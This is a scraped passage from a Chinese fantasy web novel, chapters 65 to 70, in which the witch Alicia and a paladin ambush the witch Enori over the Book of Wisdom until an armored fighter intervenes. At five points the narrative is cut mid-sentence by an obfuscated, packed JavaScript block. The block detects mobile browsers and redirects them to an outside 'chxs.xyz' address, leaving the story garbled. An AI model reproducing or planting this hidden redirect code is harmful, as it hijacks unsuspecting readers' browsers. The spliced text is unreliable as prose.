恶魔的低语响起,“你故意的?” 看过艾莉西亚如何糊弄引导米亚的全过程,赫默修斯差点要以为这不是个纯粹的人类,而是自己的同类了。 “你可以这么认为,不过,这只不过是一个契机让我们继续合作下去的契机而已。” 米亚是个善良的人,同时她也很固执,认定的事情不会轻易改变。 艾莉西亚明白,只是用武力把她制服是无法让她屈服的,只有让她亲眼看到,她才会承认认可。艾莉西亚觉得,今晚和德蒙卡萨的合作是一个很好的机会。 同时,这也艾莉西亚给自己加了一道保险。自从她答应德蒙卡萨之后,她的危险预警一直在凸显存在感。这让艾莉西亚很不安。 65. 进击的女巫06 权贵云集的莱姆斯特大道上,一栋新建的豪华大楼灯火通明,它的主人常常在这里举行派对到半夜,座上宾往往非富即贵,除了市政厅的机关要员,就是尊贵时髦的贵族女眷。 但在这里,那些占据着卡斯塔尼亚城重要决策岗位的大人物们,却像是蜂巢的工蜂一样老实听话,丝毫不敢冒犯房子的主人,那个神秘美艳的女巫,同时代表着更为神秘强大的黑塔的家伙,埃诺里。 埃诺里之所以还没有成为整座城市的女王蜂,当然是因为反对她的人不会出现在这里。 而这部分人的数量也相当不少。 至于这些人又成了谁的座上宾,那就是另一个故事了。 宴会厅内莺歌燕舞,埃诺里却并没有在场,她和自己的助手坐在三楼的书房内,正在品尝一瓶刚从港口运来的美酒。这美酒来自遥远的南海岸,那一片气候温暖、有着悠久酿酒历史的地区。 埃诺里亲在开启瓶塞,给倒进一个透明的水晶杯中,给助手一个眼神。 助手受宠若惊地端起酒杯,试探着抿了一口。 埃诺里眼角微挑,“如何?” “入口醇厚,细品口感却很细腻,我想这不比贵族们酒窖里的珍藏差。”然而助手出自贫民区,对酒类的品味几乎于无,穿透他看似真情实意的赞颂表象,内里却是麻木且不解。 作为一个靠着优异的成绩在通识学校脱颖而出的幸运儿,助手拿到了上大学的推荐信和全额奖学金,但这之后并不是天堂,大学不像通识学校,他的同门非富即贵,助理需要很努力才能够在哪些高傲矜持的同学面前保持体面,对他们这些附庸风雅的爱好除了麻木就只有深深的厌恶。 埃诺里听到助理的回答,却像是听到了一个十分好听的笑话,她朗声大笑起来,笑得眼泪都要直不起来,她一手搭着助理肩膀,全不顾助理突然变得僵硬的身体。 那温软馨香的味道在鼻端飘动,助理极力调动记忆,并没有从他临时恶补的香水品类中找出对应的。 这也许是埃诺里女士自己配制的?助理心猿意马地想着。 像她这样强大的女巫,也有普通女人的虚荣心啊……这样一想,埃诺里的形象就从那高不可攀的神坛瞬间落地,变成了虽然还是漂亮,但不再那样遥不可及了。 片刻后埃诺里止住笑,拍拍助理的手臂,她放下酒瓶,走到厚重的书桌后坐下。 埃诺里的笑来得莫名其妙,收得戛然而止,让人全不知道她在想什么。但助理能从贫民窟一路爬上来,成为埃诺里的助理,最重要的事他懂得察言观色,从不与人对着干——这从他家里兄弟姊妹七八个,成绩好的也有一半,但最后父母只坚持咬牙把他供出来就知道了。 助理收敛起他突然冒出来的旖旎心思,像把它仔细地团成一团包裹地严丝合缝,再坠上沉甸甸的石头,“噗通”一下,毫不留恋地跑向心湖的最深处。 但石头的重量似乎没有他预想的那样有效果,那些旖旎在湖中沉浮之后,又悄悄地浮了上来。 “你猜错了,贵族酒窖里的珍藏价格往往在50金费尔甚至更多,”埃诺里微笑,她美丽的湖蓝色眼睛内荡漾着波光,散发着比月光还要璀璨的光辉,“而你刚刚喝的,只是从普通酒庄买来的大路货,一大桶可以分装300瓶,每桶不到50个金费尔,但拿到卡斯塔尼亚,我至少卖20金费尔一瓶。” 助理难得没控制住自己的表情,惊讶从他的眼角眉梢涌出来。 埃诺里说,“如果是卡斯塔尼亚本地产的酒,同样品质的酒,一大桶成本酒要60-90金费尔,售价却在2-3金费尔一瓶,这一进一出,足够下面那些猪猡开整整一个月的派对了。” 助理坐在埃诺里对面,手指骤然捏紧。 他内心升起一丝来源不明的不安,眼里流露出惶惑,他认为自己已经够蔑视那些尸餐素位的家伙了,但与埃诺里比起来,却如同孩童闹脾气一样可笑。 埃诺里似乎看到了助理心中某些根深蒂固的观念在破碎,“你所见的那些贵族高官,看起来高高在上,擅长颐指气使,他们惯常让你这样的下等人卑微匍匐于脚下——” 她在这里停顿了一下,满意地看到助理眼里隐忍的怒火,她满意地勾了勾唇。 “——你没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14496681|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看见的是,过去他们是如何卑微地匍匐在王都那些大贵族脚下。这些年卡斯塔尼亚城迅速扩张,这些人聚集了天量的财富,但那些钱还不足以装点他们贫瘠的精神世界。 “表面上他们似乎已经不把王都放眼里——你得知道,过去的二十年里,卡斯塔尼亚凭借资源优势,已经成了塔布拉斯王国最大的机械产出地——但行为上,他们仍旧不知疲倦地追逐着来自王都的风潮,哪怕是疯子裸着全身披一张破毯子上街瞎晃,只要是从王都来的,就能在卡斯塔尼亚被捧成崇高的艺术。” “知道这是为什么吗?” 助理茫然地摇头。这样的埃诺里让他感到陌生。 和外界传闻的风流美艳的女巫相比,此时的埃诺里看起来更像尖刻犀利的社会学家,她干净利落地把那些穿着华服的贵族们的皮囊一层层剥下来,把腐朽长蛆的内里指给他看。 “因为王冠还在沃华德。这里的贵族得不到还掌控不到那顶镶满宝石的破帽子,他们只能从其他的方式向它靠拢。”但那些猪猡不会明白,追逐王冠只能使用暴力,而战争,才是最有效的方式。 埃诺里微笑着,助理丝毫看不出女巫内心正酝酿着什么黑暗风暴。 “你现在应该明白,”埃诺里从椅子上站起来,踱步来到助理身后,她身上温软的馨香萦绕在助理身周,埃诺里弯下腰,在他耳畔低语,“要怎么从那些猪猡的金库里掏钱了吧?” 助理心湖里还没沉底的那点旖思霎时消失无踪,他感觉自己像是被毒蛇盯上的猎物,一瞬间浑身汗如雨下。 “知知道。”助理声音嘶哑地开口,像是在生死线上走了一个轮回。 助理离开后,书房一个书架露出个缝隙,很快像是启动了什么开关一样,挪到了一侧。 书架后是一个密闭的空间,阿尔瓦雷斯·司佩就站在书架后面,他眼神不善地盯着埃诺里。 埃诺里婀娜地走向阿尔瓦雷斯,白皙修长的手指抚上他的脸颊,笑容真挚热烈,“好久不见,我亲爱的弟弟。” 偏过头,躲开埃诺里的手,“你答应过不会动艾莉西亚的,你食言了。” 66. 进击的女巫07 埃诺里笑容不变,她张开双手,做出拥抱的姿势,“许久不见,难道不给姐姐一个拥抱吗?” 阿尔瓦雷斯板着一张脸,埃诺里盯着他,笑容的弧度都没有变化。 两人僵持着,空气仿佛凝滞。 最后,阿尔瓦雷斯不得不妥协,他潦草地抱了一下埃诺里,想要松开时,埃诺里却环住他的肩膀不肯松开。 阿尔瓦雷斯身材高大,埃诺里也很高挑,她只比弟弟挨了半个头。 埃诺里在阿尔瓦雷斯耳边说,“我不希望你再用这种语气和我说话,别再有下一次。” 阿尔瓦雷斯身体僵硬,他感到一阵无力。 让人窒息的空气中,阿尔瓦雷斯说,“我知道了。” 对于这个从小相依为命的姐姐,阿尔瓦雷斯觉得自己好像永远无法摆脱她的控制。他甚至觉得艾莉西亚受到的伤害,也有很大一部分原因,是由于埃诺里对自己的控制。 埃诺里满意地拍拍阿尔瓦雷斯宽阔的背脊,“我爱你,这世上我唯一的弟弟,我唯一的亲人。” 埃诺里挥手,半间屋子的酒液和玻璃渣以龙卷风刮过的速度迅速被清理干净,等她的脚步来到放置酒瓶的推车上时,整个房间已然逛街如新。 埃诺里重新开了一瓶酒,倒进两个杯子里,她给阿尔瓦雷斯拿了一杯,自己喝一口,说,“来我这里做什么?” 阿尔瓦雷斯刚张嘴,尚未发出声音,埃诺里补上一句,“想好了再开口,不要说我不想听的。” 阿尔瓦雷斯沉默了。 他报复性地一口气把酒喝光,大约酒精有麻痹的作用,他问埃诺里,“那你告诉我,什么是你想听的?” “我以为你能够掌控好地下魔法交易市场,你已经长大了,”埃诺里看他的眼神像是在看一个无理取闹的孩子,“但看起来你还是那么情绪化,很喜欢感情用事。” “让黑塔壮大是你想听的吗?埃诺里,黑塔早就不是曾经的黑塔,放弃吧,你一个人救不回来的。没有人真正关心女巫的未来,你明白吗?你在一艘即将沉没的巨轮上,海水已经淹上夹板,光靠你一个人的力量不可能拯救它。而我们也已有了足够奢侈度过一生的财富,放下吧。” 埃诺里在阿尔瓦雷斯的激烈情绪中,不紧不慢地喝了一口酒,“你知道塔布拉斯东部的雷格尔王国在扩军吗?” 阿尔瓦雷斯突然听到这么个消息,一时间没反应过来,“什么?” “塔布拉斯王国和雷格尔王国的边境一直有小规模战役,已经十几年了,五年前雷格尔新国王甫一上任,就颁布通商条例,为了增加税收,他们新建了三个新港口,许多从殖民地来的货物已经分流去了雷格尔,我们年迈的国王陛下对此没什么表示,他已经老了,像一头失去了雄风的狮子,面对新狮王的挑衅,一退再退,同时,他还按住了玛格丽特公主,禁制她回报以相同的军事手段。 “你知道这意味着什么吗?” 阿尔瓦雷斯感到难以理解,“这与我们有什么关系吗?” 埃诺里的目光轻飘飘地从他身上掠过,说不清是失望还是别的,“你问我这与我们有什么关系?真是个好问题。我告诉你这意味着什么?战争,意味着机遇。机遇会带来翻天覆地的改变。阿斯蒙德伯爵领与沃华德之间,塔布拉斯王国与雷格尔王国之间,终有一战,而这些,都是我们从中获利的好机会。 “你觉得黑塔没有希望了是吗?错了!黑塔会在这一场场战争之中崛起,没有人能阻止它崛起。” “不,埃诺里,战争没有你想的那么简单。这与你当间谍和说客不一样,你可以凭借个人力量在各个势力之间游走,但战争会裹挟太多人,开战双方为了胜利投入天量的人力和资源,而最终的结果,没有赢家,被卷进去的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14507139|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都会成为战争机器的养料,除了金字塔尖的那几个人,没有人能置身事外。 “埃诺里,你忘记了吗?我们曾经生活在衣食富足的庄园里,父母恩爱,仆人照顾,但只是小规模的地区军队摩擦,我们的庄园就焚毁,父母死于非命,你我也沦为乞丐。 “姐姐,我们已经拥有了强大的力量,丰厚的财富,你知道的,人不能太贪心。” “哈——哈哈!”埃诺里从喉咙深处发出嘲讽,“不能太贪心?不贪心卡斯塔尼亚城会有今天?不贪心你能独占魔法交易市场?不贪心我又如何有今天的地位?” 阿尔瓦雷斯感到很头痛。 他和埃诺里总是无法说服对方,也许是埃诺里在黑塔内部生活过的缘故。 阿尔瓦雷斯决定放弃这个争议。 他说,“我们永远没办法在这个问题上达成一致,放弃说服我吧,我也不会妄想说服你。但是,答应我,别在去找艾莉西亚的麻烦了。她不值得你费那么多心思。” 埃诺里回了他一个单词,“滚!” 阿尔瓦雷斯失落离开。他犹豫了一下,想要从埃诺里那里得到一个准确的承诺,但最终败在她冰冷的漠视之下。 他走到书柜背后的魔法阵中,魔法阵闪过亮光,他的阿尔瓦雷斯的身影消失了,接着书柜自动移了回去。 埃诺里一口气喝掉杯子里的酒,眼里却很平静,完全没有刚刚谈起战争时的狂热。 “这样也好,总要确保有一个人活下来。” 就在埃诺里拿起酒瓶,正要倒第二杯酒时,她忽然感到喉间一痛,大股鲜血从破损的大动脉涌出来。 有刺客! 与此同时,楼下的宴会厅之中,天花板上的水晶大吊顶突然坠落,砸到一个没来得及跑的宾客,硕大的水晶吊灯插进那个人的肚子里。 宾客、管家、仆人们乱作一团。 67. 进击的女巫08 鲜血如喷泉一样涌出,将埃诺里华丽的衣袍染成了鲜红的颜色。 感觉到痛楚,埃诺里第一时间用魔力封住伤口,她身上冒出一层光芒,将她整个人裹了进去,但与鲜血一同流失的还有魔力,她找不到刺客在哪里,只能像一只受惊的乌龟一样,缩在魔力构造的保护罩里。 书房里安静得针落可闻,书房外的喧嚣声浪一阵阵传递上来,有仆人急促地敲门,他高声呼唤埃诺里的名字,想要让豪宅的主人出去主持局面,那些被坠落的水晶灯伤到的贵族们像一群热锅上的蚂蚁,他们咆哮着、吵闹着,不是大吼大叫,就是朝着仆人们发泄怒火。 然而房门紧闭,书房内的埃诺里不敢轻举妄动。 “你不出去看看吗?” 时间如同静止,埃诺里都要一位刺客离开了,但她的耳边突然想起了干涩如同砂纸摩擦的难听声音,“有个家伙被水晶灯刺穿了肚子,他们肠子流了一地。他们是你请来的贵客,这样也没关系吗?他们会让黑塔滚出卡斯塔尼亚吧。” 埃诺里额头青筋鼓起,她警惕地防备着一切,根本不理会刺客低级的挑衅。 “我也不是真的想要你的性命,毕竟都是女巫,虽然我是从黑塔逃出来的,但大家的立场都差不多,不是吗?你既不是要吞吃我血肉的人,也不是将我拐带进那座暗无天日的魔法塔的人,我们的利益没有冲突,但我需要《智慧之书》。” 埃诺里低头不语。 仔细看,就能发现她浑身的肌肉十分紧绷,很显然没有相信刺客的鬼话,埃诺里也算是心狠手辣的人,但她也没有看一个人不顺眼就割喉。 这是一个从黑塔逃出来的女巫? 会是真的吗? 如果是真的,她要《智慧之书》做什么?《智慧之书》是光明教廷的圣物,它书写着许多封印恶魔的魔法,联系到刺客神出鬼没的身手,难道,她信仰了恶魔,然后想用《智慧之书》反过来限制恶魔对她的污染吗? 不,前不久那个来自教廷的审判官也是为了《智慧之书》,这或许是教廷又来人了。 但问题是,教廷有这样强大的术士吗? 埃诺里想到了另一个可能性,在流传于沃华德街头巷尾的传闻,那些莫名其妙消失的小女孩们……教廷早就在暗中培养女巫了。 “我不相信你。”埃诺里飞快地思考时,外面的敲门声已经停了。她不知道宴会厅发生了什么事,但她顾不了那么多,管家会解决好一切,如果管家解决不了,就把管家送出去让贵族们解决好了。 “那好吧,看起来我只能用你的脑袋去寻求教廷的帮助了。”那道嘶哑的声音如此说。 埃诺里首先感到血液似乎停止了流动,有什么从她的身体内部往外析出,她像一个被丢进高速旋转的离心机的肉块,机器转动起来,构成身体的组分一点点也甩出来。 “在这座空间内,一切都将陷入沉眠。”终于,埃诺里开口,无形的屏障将整个书房包裹起来,这里像是被现实切割出来,形成一个独立的空间,所有的一切都如她所说的那样,进入了即将沉眠的舒缓节奏,包括从她身上析出的不明物质。 包裹于埃诺里身周的屏障逸散,她双腿一软,跌坐在地,但神情却放松下来。无论刺客躲在哪里,只要在在这个书房中,对方就会成为埃诺里手里的虫子,生死全在她一念之间。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14528921|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 艾莉西亚躲在阴影之中,空间切割的感觉很明显,她无法通过阴影跳跃到外面。 “这就是言灵结合空间魔法的威力吗?”她问恶魔,“喂,你有把握突破这样的空间封锁吗?” 赫默修斯今天一直很安静,但显然比以前要更配合,“没有。” “真的吗?我不信。” 赫默修斯被气笑了,“女巫,你问另一个女巫索要封印恶魔的《智慧之书》,又问恶魔索要破除她空间魔法的方法,难道我看起来像那个轻易就被蛊惑的刀疤脸一样好骗?” “不,我就是问问,万一你真那么好骗呢?” 恶魔很无语,“滚。” 艾莉西亚尝试着控制书架上摆着的一尊铜像,趁着埃诺里松懈的时候,朝她飞过去。然而那铜像的离开书架后速度就迅速下降,来到埃诺里面前时,已然如同羽毛飘动一样缓慢。 埃诺里心情颇佳地看着铜像飞过来,用手轻轻一拂,铜像便掉落地上。 “在这里,我是绝对的主导,没有人能伤害我,明白吗?魔法不行,刀戈不行,什么都不行。如果你现在滚出来,我心情好,也许可以不用拿你泄愤。但你要继续耗下去,你可以试试,我会把你从阴沟里找出来,一片一片地削掉你身上的每一块肉。” “咳咳咳咳咳,那需要我感谢你的仁慈吗?”不知道从什么地方冒出来的声音依然嘶哑,或许是受到了空间封锁的影响,对方剧烈的咳嗽着,像是病入膏肓。 埃诺里觉得自己应该很快就能找到人了。 然而突然,书房的大门突然响了,那声音如同一记重锤狠狠敲在鼓面上,整个书房都震颤起来。 68. 进击的女巫09 艾莉西亚把隐形斗篷的帽子戴好,从阴影里走出来,来到距离埃诺里最远的地方。 等她站定,书房大门被一把利剑从中破开,一个高大的人影出现在门口,正是拉蒙·德蒙卡萨。 有时候不得不说世事无常。 上一次三个人聚首的时候,艾莉西亚还是埃诺里雇佣的护卫,她是用来对付圣骑士的。而这一回,艾莉西亚直接和圣骑士联合起来对付埃诺里。 像埃诺里这样有着强大魔法能力的人,怎么说呢,一方面越强大,另一方面就越脆弱。 就像是将整个书房都从原来的空间切割走,但埃诺里仍然会保留一丝与原地的联系,就像是放风筝的人必须要掌控风筝线的一样,如果埃诺里失去了这根风筝线,运气好一点,被分割走的空间轻则坠落在别的地方,运气差了,说不定就会迷失在茫茫空间维度之中,再也找不到回去的路。 很显然,德蒙卡萨能被选来对付埃诺里,他必然能够精准地找到那根风筝线,用神赐予的能力把切割出去的空间直接拽回原地。 这就是为什么和空间有关的能力要么靠天赋觉醒,要么靠更高等的存在赐予。艾莉西亚反正是做不到的。 艾莉西亚故意把声音往下压了几个度,嘶哑的声音中带了几分得意,像个跳梁小丑,“可怜的女巫啊,你难道不知道圣骑士们受到了光明神的祝福,只要他们的位阶够高,就能行使神的能力——你完了,你会被神罚送进地狱!” 她在心里和赫默修斯说,“喂,你觉不觉得这种所谓神赐的力量和你们恶魔的污染很像?” 赫默修斯的笑声在艾莉西亚的脑海里回荡,笑声中带着点意义不明的欣赏,“难得有你这么清醒的人类。” 不用细品,艾莉西亚很容易就从他的话里捕捉到什么,倏然之间,她脑子里的警铃大作,完全都不用思考,艾莉西亚立刻封闭自己的大脑,把恶魔被赶了出去。 做完这一切,艾莉西亚只感觉后背发凉,冷汗爬满脊背。 赫默修斯感觉到艾莉西亚的拒绝,感慨这家伙的敏锐。但祂倒也不怎么着急,时间还长,慢慢来就行。 这一次埃诺里终于发现了刺客所在的方位,然而她已经没办法如同预想的那样把刺客大卸八块,她立刻挥舞魔杖,大喝道,“此地应有烈火!” 顷刻之间,门口陡然升起一道火墙,横亘在书房门口,浓烟滚滚而起,点燃了那一面墙的书页。 埃诺里趁机跑到办公桌下,从地板里抠出一个盒子,抱着盒子就往另一边的书架跑过去,她跑起来的时候,书架自动向旁边移开,露出里面的传送阵。 艾莉西亚感觉那应该就是智慧之书。 之前德蒙卡萨抓到埃诺里的时候,她说《智慧之书》被送到了芙蕾·阿斯蒙德手里了,可见还是在胡说,糊弄审判官的。 这时候德蒙卡萨已经冲过火墙, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14545216|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高大的身形如同铜墙铁壁一般。 艾莉西亚提醒她,“埃诺里要拿着《智慧之书》跑了。” 德蒙卡萨拿起长剑,朝着埃诺里一掷,锋利的剑刃划破空气,“咄”地一声,长剑钉住埃诺里的裙摆,将之牢牢地固定在地板上。 埃诺里跑动被这股力量狠狠一拽,脚下踉跄,以以脸抢地的姿势往地上扑。千钧一发之际,埃诺里将手里的盒子往书架后面的传送阵里面丢去,艾莉西亚眼疾手快,抓到一本书想要丢过去阻止盒子被传送走。 然而艾莉西亚终究是晚了一步,当那本书追到盒子的时候,盒子已经落到传送阵上,而这个时候书才飞过去,灯光照耀下,书的阴影投射在盒子上,而这时传送阵光芒亮起,下一秒,盒子就消失不见了。 埃诺里把盒子丢过去之后就立刻起身,用魔杖一划,裙子布料撕裂,她立刻就接着往传送阵跑。 而这时候,艾莉西亚丢过来的第二本书已经到了,追着埃诺里,砸中了她的后背。这一下打得很重,埃诺里再度扑地,还呕出一口鲜血。 德蒙卡萨转眼而至,他拔出长剑,剑刃横在埃诺里脖子上,“把《智慧之书》交出来。” 埃诺里抹了一把嘴角,她翻过身来,一手支着身体,朝德蒙卡萨风情万种一笑,话里尽是有恃无恐,“骑士,《智慧之书》是没有了,但你可以拥有别的。” 艾莉西亚:“……”真是个强人。 69. 进击的女巫10 艾莉西亚在考虑自己是不是要符合人设,疾言厉色地斥骂埃诺里这个女人像个技女一样不要脸,还是尖叫一声,然后惊恐地代表他们向光明神忏悔两人犯下的色欲之罪。 总之,一心创业、过得像个孤寡老年人一样的艾莉西亚在这时候明显犯了难,一时间情绪卡壳,续不上来了。 但德蒙卡萨自己就是精通十八般□□技术的刺客,没人比他更清楚,极具诱惑的胴体内包裹着的灵魂有多危险,他丝毫也不为美色所动,仿佛眼前躺着的不是一位肌肤魅力的美貌异性。 他将剑刃往埃诺里的脖子逼近,那里被艾莉西亚划出一刀极深的口子,只是被魔力封住,完全没有愈合的迹象。带着浓重血气的剑芒像熔炼钢铁的高温焦炭一般,几乎要将封住伤口的魔力融化。 埃诺里感觉到魔力流失。仅仅是剑芒,都能嗲来如此大的伤害,埃诺里心里已经给德蒙卡萨定下死刑。 然而身体的反应骗不了人,埃诺里真切地感受到了德蒙卡萨坚定的意志,杀了她的意志。 在为黑塔办事的这么多年中,埃诺里无数次游走在生死边缘,她根本不想去体验这个浑身充满杀气的圣骑士的剑刃有多锋利。 “诶诶,请小心一点,如果你再往里一点,你永远别想拿回《智慧之书》,”埃诺里当然知道美人计无效,但她能混到今天,心里素质只是最基础的能力,“传送阵只有的目的地只有我知道,你想拿回你想要的,请对我绅士一点,否则我也不知道等你们找到它的时候,还会不会是完整的。” 然而德蒙卡萨既不受诱惑,更不会受威胁,他将剑刃往伤口挪了一寸,瞬间,一股鲜血冲破魔力的封锁铲铲外流,他捡起艾莉西亚编织的剧本,“总部派来的修女会用你的尸体为我寻找方向,找到那本书。” 埃诺里像是感觉不到脖子上的伤口崩裂,她露出轻蔑的微笑,“你是说那个只会躲在背地里下黑手的废物?她看起来可不大聪明。” 德蒙卡萨继续移动剑刃,“我可以赌,你愿意吗?” 德蒙卡萨顶着一副高大英俊的皮囊,用他低沉磁性的嗓音如此说,艾莉西亚远远看着,感觉他像是在问埃诺里要不要嫁给他,而不是让她是选择“死”还是“配合”。 艾莉西亚晃晃脑袋,不知道是俊男美女过于亮眼,还是因为孤家寡人久了,她看两个立场相悖的家伙对峙,竟然看出了古早言情虐文的氛围,阿米豆腐,真是罪过罪过。 艾莉西亚眼神心虚地飘了一下,这一飘她突然看到那个传送阵无端出现闪烁起微弱的光。 艾莉西亚不得不承担起作为盟友的责任,她飞速朝德蒙卡萨这边奔来,同时大喊,“有人从传送阵出来了。” 然而她的动作仍是慢了。 传送阵光芒大盛,一个模糊的人影出现,那个人单膝跪地,身形十分魁梧壮硕,脑袋上带着硕大的头套,蹲高几乎与艾莉西亚身高齐平。 艾莉西亚看着那个人的身形在传送阵被飞速地勾勒出来,视网膜形成图像的那一刻,她禁不住睁大了眼睛。 德蒙卡萨被传送阵射出来耀眼的光柱笼罩,强烈的刺激让他睁不开眼睛。 但这并不影响他的动作,手腕一动,长剑一划,没有预想中切开皮肉的声音,他反手抽回剑,再度刺穿,这一次,长剑被什么阻挡,发出“滋啦”一声金属摩擦声,那声音极尖锐,像是刀刃从某种兼顾的金属上飞快擦过,温度急剧升高,几乎要擦出火星子。 携着巨力的拳头击出,速度快得得惊人,德蒙卡萨靠着敏锐的听觉才勉强避开,但仍然被钢铁般的拳头从腰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14577742|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侧擦过,仅仅是这么一下,德蒙卡萨那块皮肤就泛起火辣辣地痛感,如同被刀刃刮过一般。 那人接连挥拳,速度越来越快,德蒙卡萨尽管是高阶骑士,却是肉体凡胎,连续多次躲避后,翻身后扒在屋顶,他彻底看清楚攻击自己那东西的全貌—— 那是一个比他还高出许多的铁家伙,全身上下都被厚重的盔甲覆盖,那盔甲看起来笨重不堪,给人的感觉像是驾驶员被关进了铁罐头一般,但穿戴机械盔甲的人却相当灵活,他背后有一块凸出来的斜三角装置,正往外冒着滚滚白烟。 就在德蒙卡萨扒在天花板的时候,那个铁罐头双手向下垂放,下一刻就整个人就冲着德蒙卡萨飞来,他还在空中改变架起拳头,朝着德蒙卡萨的脸就锤过去。 德蒙卡萨一拍天花板翻了个身,他双手握剑挡在胸前,铁罐头的拳头瞬息而至,德蒙卡萨的长剑只阻挡了铁罐头片刻的功夫,就被蛮力从中间折断,钢铁拳头的余力一直往上,击穿了天花板。 德蒙卡萨借力后退,才勉强与之拉开一段距离。 铁罐头从天花板上抽回拳头,正要继续出击时,艾莉西亚踩着埃诺里的脊背,高声威胁道,“你再动一步,我立刻踩断她的脊骨。” 依然是那嘶哑而粗糙的嗓音,埃诺里半边脸贴在地面,她身上有出现那种仿佛有什么从去体内游离散失的感觉,她喉咙的血一直在流,她已经没有余力封住所有的伤口了。 但听到这个话,埃诺里疯狂地笑起来,“修女,你威胁也没有,陪我一起下地狱吧。你还等什么,给我杀了她!” 话音一落,艾莉西亚就见那个铁罐头在空中调转方向,朝自己飞来。 艾莉西亚:“……”她就是说说,没真打算为了德蒙卡萨的目标赔上自己的小命啊。 70. 进击的女巫11 这究竟是个什么样的怪物啊! 那个铁罐头跟上辈子DC漫画里的超级英雄钢铁侠一样酷炫,它浑身被厚重盔甲包裹,后背喷出阵阵浓烟,明明是庞大笨重的铁疙瘩,动起来却格外灵活。 它的两只眼睛混合了魔法与机械,闪烁着奇异的光芒。 当艾莉西亚被盯上时,她感觉到类似于狙/击-枪瞄准锁定一样,她全身的细胞都在叫嚣着危险,这可是连圣骑士都能用蛮力逼退的存在。 艾莉西亚从不敢在阿克莱特或者德蒙卡萨面前暴露恶魔的事,最关键的原因是她知道自己的实力上限在哪里,可能比埃诺里强点,但不多,如果是正面对抗,艾莉西亚不是圣骑士的对手。 那一次能一把击倒德蒙卡萨,完全是偷袭外加魔法道具的辅助,旁边还有司佩这个术士掠阵,否则她根本不会接那样的任务。 艾莉西亚立刻就把躺地上的埃诺里踢向飞来的铁罐头,自己往相反的方向扑倒,为了离得远远地,艾莉西亚还多滚了两圈。 当那个铁罐头不得不收敛力道接住飞来的埃诺里时,德蒙卡萨手持断剑,从它背后偷袭,他轻巧跳跃上盔甲背上,用剑插进它背部凸起冒烟的装置内。 但这样的盔甲能一拳将圣骑士击退,它的材质就不会简单,饶是德蒙卡萨的断剑蒙上了一层荧光,也只插进盔甲两三公分,就遇到了顽固的抵挡。 往日里德蒙卡萨这把削铁如泥的利刃像一把经历风霜锈蚀的老家伙,竟然拿这个铁疙瘩的外壳毫无办法。 德蒙卡萨当即抽出断剑,还要再刺,躲在铁罐头里的人已经反应过来。 他一手抱着埃诺里,一只脚落地,轻盈得像一只蜻蜓从水面划过,瞬间翻了个身,这时候骑在他背上的德蒙卡萨甚至还没被地心引力拽下来。 火光电石间,他极其灵活地翻了个身,正面对上德蒙卡萨,挥出拳头,强大的动力给了装甲强悍的力量和卓越的速度,坚硬的铁拳正中德蒙卡萨胸口,将德蒙卡萨的胸甲砸凹进去一块。 德蒙卡萨遭遇重击,整个人重重地飞了出去,狠狠地砸到墙上,然后落到地上,生死不知。 收拾完德蒙卡萨,铁罐头又盯上了艾莉西亚。 埃诺里的伤口持续崩裂,但她的眼神如同野狼一样凶狠,“把两个人都干掉,铁甲的事不能暴露出去。”她裙子上的蕾丝装饰被鲜血染红,看着更吓人了。 艾莉西亚紧张地舔了舔嘴唇,她的隐形斗篷在埃诺里面前根本不起作用,现在这个斗篷的作用更多的是隐藏她的身份。 